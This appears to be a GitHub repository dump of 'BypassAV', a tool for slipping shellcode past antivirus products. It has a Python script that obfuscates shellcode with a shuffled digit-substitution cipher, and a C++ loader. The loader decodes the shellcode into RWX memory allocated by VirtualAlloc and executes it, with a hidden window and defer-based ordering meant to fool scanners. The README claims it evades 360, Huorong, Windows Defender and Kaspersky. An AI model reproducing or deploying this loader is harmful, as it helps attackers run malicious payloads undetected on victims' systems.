├── BypassAV.py ├── README.md └── shellcode loader ├── BypassAV.sln └── BypassAV ├── BypassAV.cpp ├── BypassAV.vcxproj ├── BypassAV.vcxproj.filters ├── BypassAV.vcxproj.user └── x64 └── Debug ├── BypassAV.exe.recipe ├── BypassAV.ilk ├── BypassAV.log ├── BypassAV.obj ├── BypassAV.tlog ├── BypassAV.lastbuildstate ├── CL.command.1.tlog ├── CL.read.1.tlog ├── CL.write.1.tlog ├── link.command.1.tlog ├── link.read.1.tlog └── link.write.1.tlog ├── vc142.idb └── vc142.pdb /BypassAV.py: -------------------------------------------------------------------------------- 1 | import os,codecs 2 | from random import shuffle 3 | 4 | #转纯数字存储 5 | def encrypt2(srcStr,password): 6 | arr = srcStr.split(',0x') 7 | for i in range(1,len(arr)): 8 | arr[i]=int(arr[i],16) 9 | tempStr = "" 10 | for index in range(len(str(arr[i]))): 11 | tempStr=tempStr+password[int(str(arr[i])[index])] 12 | arr[i]=str(len(tempStr))+tempStr 13 | #print(arr) 14 | return ''.join(arr) 15 | 16 | #随机排列字符串 17 | def shuffle_str(s): 18 | str_list = list(s) 19 | shuffle(str_list) 20 | return ''.join(str_list) 21 | 22 | #shellcode格式转换 23 | def str_to_hex(shellcode): 24 | raw = "" 25 | for i in range(0, len(shellcode)): 26 | s = hex(ord(shellcode[i])).replace("0x",',0x') 27 | raw = raw + s 28 | return raw 29 | 30 | if __name__ == '__main__': 31 | print(""" 32 | ____ __ __ 33 | | _ \ /\ \ / / 34 | | |_) |_ _ _ __ __ _ ___ ___ / \ \ / / 35 | | _ <| | | | '_ \ / _` / __/ __| / /\ \ \/ / 36 | | |_) | |_| | |_) | (_| \__ \__ \/ ____ \ / 37 | |____/ \__, | .__/ \__,_|___/___/_/ \_\/ V1.0 38 | __/ | | 39 | |___/|_| 40 | """) 41 | print("exp: python BypassAV.py\r\n") 42 | shellcode=input("输入shellcode：") 43 | shellcode=codecs.unicode_escape_decode(shellcode)[0] 44 | jm=str_to_hex(shellcode) 45 | #转纯数字存储 46 | passwd=shuffle_str('7032614895') 47 | jm =passwd+encrypt2(jm, passwd) 48 | print("\r\nshellcode加密完成\r\n") 49 | with open('shellcode.txt','w') as f: 50 | f.write(jm) 51 | f.close() 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BypassAV 2 | 3 | - 安服仔学免杀 4 | - 加密脚本使用python3编写 5 | 6 | 2021-11-23 7 | - 过360、火绒、windows defender、卡巴等 8 | 9 | 2022-04-06 10 | - 过360、火绒、windows defender等 11 | 12 | ## 使用方法 13 | 14 | 1.使用BypassAV.py加密shellcode 15 | 16 | 2.将加密后的shellcode放入C++ shellcode加载器中编译 17 | 18 | ## 更新记录 19 | 20 | #### 更新时间 2021-11-23 版本：1.0 21 | 22 | 1.直接使用本地加载shellcode 23 | 24 | #### 更新时间 2022-04-06 版本：1.1 25 | 26 | 1.去除自启动 27 | 28 | 2.使用defer过杀软 29 | -------------------------------------------------------------------------------- /shellcode loader/BypassAV.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31624.102 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BypassAV", "BypassAV\BypassAV.vcxproj", "{EA65743C-9AD7-4183-A46A-AEB43227934F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {EA65743C-9AD7-4183-A46A-AEB43227934F}.Debug|x64.ActiveCfg = Debug|x64 17 | {EA65743C-9AD7-4183-A46A-AEB43227934F}.Debug|x64.Build.0 = Debug|x64 18 | {EA65743C-9AD7-4183-A46A-AEB43227934F}.Debug|x86.ActiveCfg = Debug|Win32 19 | {EA65743C-9AD7-4183-A46A-AEB43227934F}.Debug|x86.Build.0 = Debug|Win32 20 | {EA65743C-9AD7-4183-A46A-AEB43227934F}.Release|x64.ActiveCfg = Release|x64 21 | {EA65743C-9AD7-4183-A46A-AEB43227934F}.Release|x64.Build.0 = Release|x64 22 | {EA65743C-9AD7-4183-A46A-AEB43227934F}.Release|x86.ActiveCfg = Release|Win32 23 | {EA65743C-9AD7-4183-A46A-AEB43227934F}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {A058B817-15E8-4CCB-9B36-DC64785BD9D3} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /shellcode loader/BypassAV/BypassAV.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口 6 | #pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积 7 | 8 | using namespace std; 9 | 10 | template 11 | struct privDefer { 12 | F f; 13 | privDefer(F f) : f(f) {} 14 | ~privDefer() { f(); } 15 | }; 16 | 17 | template 18 | privDefer defer_func(F f) { 19 | return privDefer(f); 20 | } 21 | 22 | #define DEFER_1(x, y) x##y 23 | #define DEFER_2(x, y) DEFER_1(x, y) 24 | #define DEFER_3(x) DEFER_2(x, __COUNTER__) 25 | #define defer(code) auto DEFER_3(_defer_) = defer_func([&](){code;}) 26 | 27 | #ifdef UNICODE 28 | #define GetModuleFileName GetModuleFileNameW 29 | #else 30 | #define GetModuleFileName GetModuleFileNameA 31 | #endif 32 | 33 | int main() { 34 | unsigned char ss[8000]; 35 | char str[] = "";//此处为加密后的shellcode 36 | string str1(str); 37 | string passwd1 = str1.substr(0, 10); 38 | string Sangfor = str1.substr(10, str1.length()); 39 | const char* passwd2 = passwd1.data(); 40 | const char* Shenxinfu = Sangfor.data(); 41 | int k = 0; 42 | for (int i = 0; i < Sangfor.length(); i++) 43 | { 44 | int len1; 45 | len1 = Shenxinfu[i] - 48; 46 | string dange = ""; 47 | for (int j = 0; j < len1; j++) 48 | { 49 | string a = to_string(Shenxinfu[i + j + 1] - 48); 50 | int a1 = passwd1.find(a); 51 | string a2 = to_string(a1); 52 | dange.append(a2); 53 | } 54 | i = i + len1; 55 | int dange4 = std::stoi(dange); 56 | ss[k] = *((char*)&dange4); 57 | k = k + 1; 58 | } 59 | LPVOID Memory = VirtualAlloc(NULL, sizeof(ss), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 60 | defer(((void(*)())Memory)();); 61 | defer(memcpy(Memory, ss, sizeof(ss));); 62 | defer(if (Memory == NULL) { return 1; }); 63 | return 0; 64 | } 65 | -------------------------------------------------------------------------------- /shellcode loader/BypassAV/BypassAV.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {ea65743c-9ad7-4183-a46a-aeb43227934f} 25 | BypassAV 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | MultiByte 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | false 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /shellcode loader/BypassAV/BypassAV.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | -------------------------------------------------------------------------------- /shellcode loader/BypassAV/BypassAV.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.exe.recipe: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | E:\tools\bypass\C++\BypassAV\x64\Debug\BypassAV.exe 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/BypassAV.ilk -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.log: -------------------------------------------------------------------------------- 1 |  BypassAV.cpp 2 | E:\tools\bypass\C++\BypassAV\BypassAV\BypassAV.cpp(289,28): warning C4267: “初始化”: 从“size_t”转换到“int”，可能丢失数据 3 | BypassAV.obj : warning LNK4254: 节“.data”(C0000040)合并到具有不同特性的“.text”(60000020) 4 | BypassAV.vcxproj -> E:\tools\bypass\C++\BypassAV\x64\Debug\BypassAV.exe 5 | -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/BypassAV.obj -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/BypassAV.lastbuildstate: -------------------------------------------------------------------------------- 1 | PlatformToolSet=v142:VCToolArchitecture=Native32Bit:VCToolsVersion=14.29.30133:TargetPlatformVersion=10.0.19041.0: 2 | Debug|x64|E:\tools\bypass\C++\BypassAV\| 3 | -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/BypassAV.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/vc142.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/vc142.idb -------------------------------------------------------------------------------- /shellcode loader/BypassAV/x64/Debug/vc142.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G73st/BypassAV/e89b30cf2f804a34b7ecbec2551b5521bbbf991c/shellcode loader/BypassAV/x64/Debug/vc142.pdb --------------------------------------------------------------------------------